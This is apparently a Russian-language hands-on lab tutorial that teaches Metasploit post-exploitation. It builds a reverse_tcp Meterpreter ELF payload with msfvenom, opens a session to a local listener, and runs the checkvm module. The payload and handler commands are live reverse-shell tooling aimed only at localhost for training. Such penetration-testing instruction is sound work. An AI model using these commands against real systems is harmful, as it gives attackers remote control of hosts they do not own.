Запуск постэксплуатационного модуля в Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

Постэксплуатация (Post-exploitation) — это фаза тестирования на проникновение, которая наступает после того, как злоумышленник получил первоначальный доступ к целевой системе. На этом этапе цель состоит в сборе дополнительной информации, повышении привилегий, переходе к другим системам и поддержании постоянного доступа. Metasploit Framework предоставляет обширную коллекцию модулей постэксплуатации для автоматизации этих задач.

В этой лаборатории вы изучите основной рабочий процесс использования модуля постэксплуатации в Metasploit. Вы начнете с установления сессии Meterpreter, затем найдете подходящий модуль, настроите его и запустите против активной сессии для сбора информации о целевой системе. В качестве примера мы будем использовать модуль post/linux/gather/checkvm, который пытается определить, является ли скомпрометированный хост виртуальной машиной.

Наличие активной сессии Meterpreter

На этом шаге вы настроите прослушиватель (listener) в Metasploit, а затем выполните полезную нагрузку (payload) для имитации подключения скомпрометированного хоста, тем самым создав активную сессию Meterpreter. Эта сессия является предварительным условием для запуска любого модуля постэксплуатации.

Сначала давайте запустим консоль Metasploit Framework. Откройте терминал и введите:

msfconsole -q

Флаг -q отключает баннер при запуске. Как только вы окажетесь в командной строке msf6 >, мы настроим прослушиватель. Мы будем использовать универсальный обработчик (handler) и полезную нагрузку Meterpreter для Linux.

Введите следующие команды в командной строке msfconsole:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1

Теперь запустите прослушиватель в фоновом режиме с помощью команды exploit -j:

exploit -j

Вы должны увидеть подтверждение того, что обработчик запущен.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Теперь откройте новый терминал (вы можете использовать кнопку + на панели вкладок терминала). В этом новом терминале мы сгенерируем и запустим полезную нагрузку, которая будет подключаться к нашему прослушивателю. Мы будем использовать msfvenom для создания исполняемого файла для Linux.

Во втором терминале выполните эту команду для создания полезной нагрузки:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf

Эта команда создает файл ELF (Executable and Linkable Format) с именем shell.elf в вашем каталоге ~/project.

Далее, сделайте файл исполняемым:

chmod +x ~/project/shell.elf

Наконец, запустите полезную нагрузку для установки сессии:

./shell.elf

Теперь вернитесь в первый терминал (тот, где находится msfconsole). Вы должны увидеть сообщение, указывающее на создание новой сессии.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400

Чтобы подтвердить это, вы можете вывести список всех активных сессий с помощью команды sessions.

sessions

Вы увидите список активных сессий, что означает, что вы готовы к следующему шагу.

Active sessions
===============

  Id  Name  Type                     Information  Connection
  --  ----  ----                     -----------  ----------
  1         meterpreter x86/linux               127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)

Фоновое выполнение сессии и использование команды search для пост-модулей

На этом шаге вы научитесь взаимодействовать с вашей новой сессией, а затем вернетесь в основной командный интерфейс msfconsole для поиска модулей постэксплуатации.

После команды sessions вы окажетесь в командной строке msf6 >. Чтобы взаимодействовать с сессией, используйте команду sessions -i, за которой следует идентификатор сессии.

sessions -i 1

Ваша командная строка изменится на meterpreter >, что указывает на то, что вы находитесь внутри сессии скомпрометированной системы.

[*] Starting interaction with 1...

meterpreter >

Чтобы запустить модуль постэксплуатации, вам нужно вернуться в основной командный интерфейс msf6 >. Чтобы оставить сессию Meterpreter активной, но вернуться в основную консоль, используйте команду background.

background

Вы увидите сообщение, подтверждающее, что сессия выполняется в фоновом режиме, и ваша командная строка вернется к msf6 >.

[*] Backgrounding session 1...
msf6 >

Теперь вы можете искать модули постэксплуатации с помощью команды search. Эта команда очень мощная и может фильтровать модули по типу, платформе, названию и многому другому. Чтобы найти модули, проверяющие наличие виртуальных машин, вы можете выполнить поиск по ключевому слову checkvm.

search checkvm

Metasploit выведет список всех модулей, соответствующих ключевому слову.

Matching Modules
================

   ##   Name                                 Disclosure Date  Rank    Check  Description
   -   ----                                 ---------------  ----    -----  -----------
   0   post/linux/gather/checkvm                             normal  No     Linux Gather Virtual Machine Environment Detection
   1   post/windows/gather/checkvm                           normal  No     Windows Gather Virtual Machine Environment Detection
   ...

Это показывает, что существуют модули как для Linux, так и для Windows. Поскольку наша сессия находится на целевой системе Linux, мы будем использовать post/linux/gather/checkvm.

Выбор постэксплуатационного модуля, такого как post/linux/gather/checkvm

На этом шаге вы выберете постэксплуатационный модуль, найденный на предыдущем шаге, и просмотрите его параметры конфигурации.

Чтобы выбрать или "использовать" модуль в Metasploit, вы используете команду use, за которой следует полное имя модуля. Основываясь на результатах нашего поиска, мы будем использовать post/linux/gather/checkvm.

use post/linux/gather/checkvm

Ваша командная строка изменится, отражая текущий выбранный модуль.

msf6 post(linux/gather/checkvm) >

После выбора модуля всегда следует проверять его параметры, чтобы увидеть, что необходимо настроить. Команда show options отобразит все доступные настройки для текущего модуля.

show options

Вывод покажет параметры модуля, их текущие настройки и то, являются ли они обязательными.

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Как вы можете видеть, параметр SESSION является обязательным, но у него пока нет значения. Этот параметр указывает Metasploit, против какой из ваших активных сессий следует запустить модуль.

Установка опции SESSION на ID вашей активной сессии

На этом шаге вы настроите обязательную опцию SESSION для постэксплуатационного модуля.

Из предыдущих шагов мы знаем, что наша активная сессия имеет ID 1. Нам нужно передать этот ID модулю. Команда set используется для настройки параметров модуля.

Чтобы установить опцию SESSION в значение 1, выполните следующую команду:

set SESSION 1

Вы должны увидеть подтверждение того, что значение было установлено.

SESSION => 1

Чтобы быть уверенным, вы можете снова выполнить команду show options, чтобы убедиться, что опция SESSION теперь правильно настроена.

show options

Вывод теперь покажет 1 как текущую настройку для SESSION.

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

После установки опции SESSION модуль готов к выполнению.

Запуск модуля и анализ результатов

На этом шаге вы выполните настроенный постэксплуатационный модуль и проанализируете его вывод.

После выбора модуля и установки всех необходимых параметров вы можете его выполнить. В Metasploit для выполнения модуля можно использовать команду run или exploit. Для постэксплуатационных модулей обычно используется run.

run

Модуль теперь будет выполнен в целевой сессии (Session 1). Он выполнит свои проверки и выведет результаты на вашу консоль. Среда LabEx работает в виртуализированной среде, поэтому вы должны увидеть положительный результат.

[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed

Анализ результатов:

Вывод ясно указывает на то, что целевая система обнаружена как виртуальная машина Xen и как виртуальная машина KVM/QEMU. Это ценная информация для пентестера. Знание о виртуализации цели может повлиять на дальнейшие действия, такие как поиск уязвимостей VM escape или понимание базовой инфраструктуры.

Теперь вы успешно выполнили свой первый постэксплуатационный модуль!

Резюме

В этой лабораторной работе вы освоили основной рабочий процесс использования постэксплуатационных модулей в Metasploit Framework. Вы успешно выполнили весь процесс от установления точки опоры до сбора информации о целевой системе.

Вы научились:

  • Создавать слушатель (listener) и устанавливать сессию Meterpreter.
  • Переводить активную сессию в фоновый режим, чтобы вернуться к основному приглашению msfconsole.
  • Использовать команду search для поиска релевантных постэксплуатационных модулей.
  • Выбирать модуль с помощью команды use и просматривать его настройки с помощью show options.
  • Настраивать модуль, устанавливая обязательную опцию SESSION.
  • Выполнять модуль с помощью команды run и анализировать его вывод.

Этот фундаментальный навык является основой для более продвинутых постэксплуатационных действий, таких как повышение привилегий, сбор учетных данных и боковое перемещение по сети.